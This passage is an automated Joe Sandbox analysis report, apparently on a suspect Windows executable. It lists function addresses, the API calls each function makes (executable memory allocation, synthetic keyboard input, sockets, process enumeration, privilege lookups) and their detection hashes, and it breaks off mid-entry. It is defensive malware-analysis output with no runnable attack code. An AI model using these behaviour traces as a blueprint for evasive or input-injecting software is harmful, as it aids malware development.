Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: 8f119784697071c8bacaa0f46378d1436c52a58ea717e0f29e81f9bf34294b4b
Instruction ID: 66746f0853f7357e2d41f572069e9b36fa4e2c797eb63c05a65f3f408e0d4749
Opcode Fuzzy Hash: 8f119784697071c8bacaa0f46378d1436c52a58ea717e0f29e81f9bf34294b4b
Instruction Fuzzy Hash: ADD01771848509FACB249BD498888FA7F7CFB09301F140963B402A2260E231AB94EA29

Function 005E717D Relevance: 6.3, APIs: 4, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14e095bde5203b91d04fc36b3f3b33f71e87023bd925890d9d27951ce57ea9c4
Instruction ID: 0e2d607d443e48acbc296d468ae7ae4885d81fe15b5211bfde08d3452c8da32b
Opcode Fuzzy Hash: 14e095bde5203b91d04fc36b3f3b33f71e87023bd925890d9d27951ce57ea9c4
Instruction Fuzzy Hash: 81C18174A0425AEFDB18CFA5C884EAEBBB5FF4C304B148998E845DB251D730ED81DB90

Function 0060E02A Relevance: 6.3, APIs: 4, Instructions: 307memoryCOMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?), ref: 0060E0BE
CharLowerBuffW.USER32(?,?), ref: 0060E101

Part of subcall function 0060D7A5: CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 0060D7C5

VirtualAlloc.KERNEL32(00000000,00000077,00003000,00000040), ref: 0060E301
_memmove.LIBCMT ref: 0060E314

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: BuffCharLower$AllocVirtual_memmove
String ID:
API String ID: 3659485706-0
Opcode ID: 62f4e3f9a088438a70149e91bed4a6d81ae46def52f7df86471510cda39486c9
Instruction ID: eb6cbcd5a49d0e89745dacf0028e319db412d628d41b4f0fe55ab97b68584c6c
Opcode Fuzzy Hash: 62f4e3f9a088438a70149e91bed4a6d81ae46def52f7df86471510cda39486c9
Instruction Fuzzy Hash: 6AC169716483119FC708DF28C480A6BBBE5FF89714F04896EF8999B391D731EA46CB81

Function 00608093 Relevance: 6.3, APIs: 4, Instructions: 267COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 006080C3
CoUninitialize.OLE32 ref: 006080CE

Part of subcall function 005ED56C: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 005ED5D4

VariantInit.OLEAUT32(?), ref: 006080D9
VariantClear.OLEAUT32(?), ref: 006083AA

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 772124d565a0bb722cd08d1561a4e4b3adb357030ab19dc9976a3707c0d598df
Instruction ID: 443dd2417d36cc2f6e5102c016f7871852174795d1c746a41d1696b1eb0aa2b2
Opcode Fuzzy Hash: 772124d565a0bb722cd08d1561a4e4b3adb357030ab19dc9976a3707c0d598df
Instruction Fuzzy Hash: 8CA159752447029FCB08DF58C485A6ABBE6FF89314F04445CF9969B3A2DB34ED05CB86

Function 005E687D Relevance: 6.2, APIs: 4, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 005E688E
SysAllocString.OLEAUT32(00000000), ref: 005E6937
VariantCopy.OLEAUT32 ref: 005E6966
VariantClear.OLEAUT32(?), ref: 005E698D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: d579aa08eef1f152a2239368eb5ad872f844564add8c2ff5661c3b447b295bfc
Instruction ID: 90ff5290a767a0c6f46fa14cb2d5cfd9b36e279c099805ee654578f8c4898a25
Opcode Fuzzy Hash: d579aa08eef1f152a2239368eb5ad872f844564add8c2ff5661c3b447b295bfc
Instruction Fuzzy Hash: 5551C674A04342DEDB28AF66D89567ABFE5BF643D0F20D82FE5C6D7291EA34D8408701

Function 006197F4 Relevance: 6.1, APIs: 4, Instructions: 140COMMON

Download Yara Rule

APIs

GetWindowRect.USER32(012CF9E0,?), ref: 00619863
ScreenToClient.USER32(00000002,00000002), ref: 00619896
MoveWindow.USER32(?,?,?,?,000000FF,00000001,?,?,00000002,?,?), ref: 00619903

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Window$ClientMoveRectScreen
String ID:
API String ID: 3880355969-0
Opcode ID: 43458a471a049e4ab40005e5551b825f9304bf598e4cf8595ff683cf13566f7f
Instruction ID: 4b9e663d0490e4d34d42755f9824c3df38e4ab5ba1529a859f8b684b7996915a
Opcode Fuzzy Hash: 43458a471a049e4ab40005e5551b825f9304bf598e4cf8595ff683cf13566f7f
Instruction Fuzzy Hash: A9512F34A00209AFDF14DF64D894AEE7BB6FF45360F188559F8559B3A0D731AD81CBA0

Function 005E9A80 Relevance: 6.1, APIs: 4, Instructions: 129windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 005E9AD2
__itow.LIBCMT ref: 005E9B03

Part of subcall function 005E9D53: SendMessageW.USER32(?,0000113E,00000000,00000000), ref: 005E9DBE

SendMessageW.USER32(?,0000110A,00000001,?), ref: 005E9B6C
__itow.LIBCMT ref: 005E9BC3

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: MessageSend$__itow
String ID:
API String ID: 3379773720-0
Opcode ID: 517144462a1d2ff31fb478c76fe657a32d5367c7f3a52099abda09f760da54e8
Instruction ID: 39b9a99c477a175297c4e9962e8f2e45c7c6cd53128fe526c811cb3d63bea95c
Opcode Fuzzy Hash: 517144462a1d2ff31fb478c76fe657a32d5367c7f3a52099abda09f760da54e8
Instruction Fuzzy Hash: A5418E70A04249ABDF25EF55D849BEE7FB9FF88710F000069F945A7291DB709A44CBA1

Function 006069AA Relevance: 6.1, APIs: 4, Instructions: 127networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000002,00000011), ref: 006069D1
WSAGetLastError.WSOCK32(00000000), ref: 006069E1

Part of subcall function 00599837: __itow.LIBCMT ref: 00599862
Part of subcall function 00599837: __swprintf.LIBCMT ref: 005998AC

#21.WSOCK32(?,0000FFFF,00000020,00000002,00000004), ref: 00606A45
WSAGetLastError.WSOCK32(00000000), ref: 00606A51

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ErrorLast$__itow__swprintfsocket
String ID:
API String ID: 2214342067-0
Opcode ID: 19f5e738736d485bff418715c41628663e1067fe99743de995e4bb343643a8a9
Instruction ID: b53ead02cab6b5f86a586a53c527ab02aa72cdd6fe110a62a07566cb262afd94
Opcode Fuzzy Hash: 19f5e738736d485bff418715c41628663e1067fe99743de995e4bb343643a8a9
Instruction Fuzzy Hash: A5418F75740201AFEB64AF28CC8AF7A7BA5EB45B14F04801CFA59AF3C2DA709D008791

Function 0060641A Relevance: 6.1, APIs: 4, Instructions: 116COMMON

Download Yara Rule

APIs

#16.WSOCK32(?,?,00000000,00000000,00000000,00000000,?,?,00000000,0061F910), ref: 006064A7
_strlen.LIBCMT ref: 006064D9

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: _strlen
String ID:
API String ID: 4218353326-0
Opcode ID: f741aba5493c9b3af07489df08a0fbc057d33ed1e6ec41dafd73dfbfb38e83e0
Instruction ID: 60e0e15d4614c4461a2269d1f88bd22925fde3e4021608a96ed0cb6de0ef1e6c
Opcode Fuzzy Hash: f741aba5493c9b3af07489df08a0fbc057d33ed1e6ec41dafd73dfbfb38e83e0
Instruction Fuzzy Hash: 30419531640105ABCB19EBA8DC9AEFEBBBAFF44310F148159F815972D2DB30AD11C750

Function 005FB7F4 Relevance: 6.1, APIs: 4, Instructions: 111fileCOMMON

Download Yara Rule

APIs

CreateHardLinkW.KERNEL32(00000002,?,00000000), ref: 005FB89E
GetLastError.KERNEL32(?,00000000), ref: 005FB8C4
DeleteFileW.KERNEL32(00000002,?,00000000), ref: 005FB8E9
CreateHardLinkW.KERNEL32(00000002,?,00000000,?,00000000), ref: 005FB915

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: CreateHardLink$DeleteErrorFileLast
String ID:
API String ID: 3321077145-0
Opcode ID: c2f985fb371f8954522f43c8c8a7fb56f91ba2c6a6bc58d4cd06657f468a74e0
Instruction ID: 9d0b8671e694e7caa239fc46370ee5fc7616bdc5cd8be6175d1e8eb865dbbee8
Opcode Fuzzy Hash: c2f985fb371f8954522f43c8c8a7fb56f91ba2c6a6bc58d4cd06657f468a74e0
Instruction Fuzzy Hash: 3F411739600515DFCB10EF18C589A69BBA6FF89310B098098ED4A9B362DB34ED01CB91

Function 00618851 Relevance: 6.1, APIs: 4, Instructions: 109COMMON

Download Yara Rule

APIs

InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 006188DE

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: InvalidateRect
String ID:
API String ID: 634782764-0
Opcode ID: ac56a3fe84ffced05ff6a7e852b874eb36d55b9565e21e91fd1ddace4bf7d711
Instruction ID: d514043b51031169a397fcf45fdab7d114a5905d682943057af4b839e18ac7ed
Opcode Fuzzy Hash: ac56a3fe84ffced05ff6a7e852b874eb36d55b9565e21e91fd1ddace4bf7d711
Instruction Fuzzy Hash: 88319434600108AFEF249B6CCC49BF97BA7EB06350F5C4912F955E72A1CE74E9C09792

Function 0061AB37 Relevance: 6.1, APIs: 4, Instructions: 106windowCOMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 0061AB60
GetWindowRect.USER32(?,?), ref: 0061ABD6
PtInRect.USER32(?,?,0061C014), ref: 0061ABE6
MessageBeep.USER32(00000000), ref: 0061AC57

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Rect$BeepClientMessageScreenWindow
String ID:
API String ID: 1352109105-0
Opcode ID: 9e59156f60d8fbce81fce1fde8fa7383d6d0500268b2387824c719bfa4bed1ec
Instruction ID: d60d0318275d2f89d5ccbc41f2939fc8793a4dccc83b4d1d95875d247cc65415
Opcode Fuzzy Hash: 9e59156f60d8fbce81fce1fde8fa7383d6d0500268b2387824c719bfa4bed1ec
Instruction Fuzzy Hash: AA416E30601219DFCB11DF98D894AE97BF7FB49311F1C90AAE815DB361D730A881CB92

Function 005F0AD6 Relevance: 6.1, APIs: 4, Instructions: 105keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000000,?,00000001), ref: 005F0B27
SetKeyboardState.USER32(00000080,?,00000001), ref: 005F0B43
PostMessageW.USER32(00000000,00000102,00000001,00000001), ref: 005F0BA9
SendInput.USER32(00000001,00000000,0000001C,00000000,?,00000001), ref: 005F0BFB

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 97abc67a0fe813e8400eed552444463211ee8e4c2fbc8ea4d463439a2b839917
Instruction ID: b240003692dc5807bb0b56a424692810b33bf4e33255fbb4ba9b1057ffa18bd6
Opcode Fuzzy Hash: 97abc67a0fe813e8400eed552444463211ee8e4c2fbc8ea4d463439a2b839917
Instruction Fuzzy Hash: 9231487094021CAEFF348B258C09BFEBFA6BB45328F0C965AE690521D3C37C8D409751

Function 005F0C11 Relevance: 6.1, APIs: 4, Instructions: 101keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,75A4C0D0,?,00008000), ref: 005F0C66
SetKeyboardState.USER32(00000080,?,00008000), ref: 005F0C82
PostMessageW.USER32(00000000,00000101,00000000), ref: 005F0CE1
SendInput.USER32(00000001,?,0000001C,75A4C0D0,?,00008000), ref: 005F0D33

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: d49c11ea22067e7999bb69e5476db589417fff5acc8fc673c7cc1ea63422d009
Instruction ID: b495f5c64b1747358642340129cee88a6e14e86fc250ed0d512c7641c2cc2972
Opcode Fuzzy Hash: d49c11ea22067e7999bb69e5476db589417fff5acc8fc673c7cc1ea63422d009
Instruction Fuzzy Hash: DA31373094021C6EFF348B6588197FEFF66BB45310F0CA71AE694921D2C33D9D458751

Function 005C61C5 Relevance: 6.1, APIs: 4, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 005C61FB
__isleadbyte_l.LIBCMT ref: 005C6229
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 005C6257
MultiByteToWideChar.KERNEL32(00000080,00000009,00000002,00000001,00000000,00000000,?,00000000,00000000,?,?), ref: 005C628D

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: 85496efe30964805f85076e2d1dabb0af061c7f63a98e5582acf3640eb785a5f
Instruction ID: de9b89ad823e826b8c4e43135f14f0862579aec28494885553d0f90dd2fe785d
Opcode Fuzzy Hash: 85496efe30964805f85076e2d1dabb0af061c7f63a98e5582acf3640eb785a5f
Instruction Fuzzy Hash: E331AF35604246AFDF218FA5CC49FBA7FA9FF81310F15442DE864971A1E731EA50DB90

Function 00614EEE Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00614F02

Part of subcall function 005F3641: GetWindowThreadProcessId.USER32(00000000,00000000), ref: 005F365B
Part of subcall function 005F3641: GetCurrentThreadId.KERNEL32 ref: 005F3662
Part of subcall function 005F3641: AttachThreadInput.USER32(00000000,?,005F5005), ref: 005F3669

GetCaretPos.USER32(?), ref: 00614F13
ClientToScreen.USER32(00000000,?), ref: 00614F4E
GetForegroundWindow.USER32 ref: 00614F54

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: ThreadWindow$Foreground$AttachCaretClientCurrentInputProcessScreen
String ID:
API String ID: 2759813231-0
Opcode ID: a7b4627171eb847fe040bda7c4d9a57504878024ea5ef79133b154d31d4dd870
Instruction ID: 9a4605ed5b8275df9d0a29cf9570fe06299749ced3f914d4bec8d211fbaa36e3
Opcode Fuzzy Hash: a7b4627171eb847fe040bda7c4d9a57504878024ea5ef79133b154d31d4dd870
Instruction Fuzzy Hash: 17311C71E00109AFDB00EFA9C8859EFBBFDFF99300F14406AE415E7241EA759E458BA1

Function 005F3C55 Relevance: 6.1, APIs: 4, Instructions: 85processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 005F3C7A
Process32FirstW.KERNEL32(00000000,?), ref: 005F3C88
Process32NextW.KERNEL32(00000000,?), ref: 005F3CA8
CloseHandle.KERNEL32(00000000), ref: 005F3D52

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: abfd86243258d4ef3244efb752eaa2600acca1aea1753e1065249aed8e059714
Instruction ID: 60641a77e3ae12680598d2ce59e55b2142d08aeb475408fb25207ae27aae2920
Opcode Fuzzy Hash: abfd86243258d4ef3244efb752eaa2600acca1aea1753e1065249aed8e059714
Instruction Fuzzy Hash: E03170311083099BE701EF60C885ABBBFE8BFD9354F50082DF581861A1EB719A49CB52

Function 0061C498 Relevance: 6.1, APIs: 4, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00592612: GetWindowLongW.USER32(?,000000EB), ref: 00592623

GetCursorPos.USER32(?), ref: 0061C4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,005CB9AB,?,?,?,?,?), ref: 0061C4E7
GetCursorPos.USER32(?), ref: 0061C534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,005CB9AB,?,?,?), ref: 0061C56E

Memory Dump Source

Source File: 00000000.00000002.1255249308.0000000000591000.00000020.00000001.01000000.00000003.sdmp, Offset: 00590000, based on PE: true

Associated: 00000000.00000002.1255118522.0000000000590000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.000000000061F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255507764.0000000000644000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255754401.000000000064E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1255773787.0000000000657000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_590000_y1jQC8Y6bP.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID:
API String ID: 2864067406-0
Opcode ID: 2bd740fa1ba20d657d0d59ab9581ffb6f08c4bf547b76c224817766b6dad4d05
Instruction ID: b94367913edc6710389a949b4cfa30e7f83679673a97805aa356a86e0c2670a8
Opcode Fuzzy Hash: 2bd740fa1ba20d657d0d59ab9581ffb6f08c4bf547b76c224817766b6dad4d05
Instruction Fuzzy Hash: 1A319E35600418AFCF25CF58D858EEE7BB7EB49320F488069F9058B361C731ADA0DBA4

Function 005E8656 Relevance: 6.1, APIs: 4, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005E810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 005E8121
Part of subcall function 005E810A: GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 005E812B
Part of subcall function 005E810A: GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005E813A
Part of subcall function 005E810A: HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 005E8141
Part of subcall function 005E810A: GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 005E8157

LookupPrivilegeValueW.ADVAPI32(00000000,?,?), ref: 005E86A3
_memcmp.LIBCMT ref: 005E86C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 005E86FC
HeapFree.KERNEL32(00000000), ref: 005E8703

Memory Dump Source

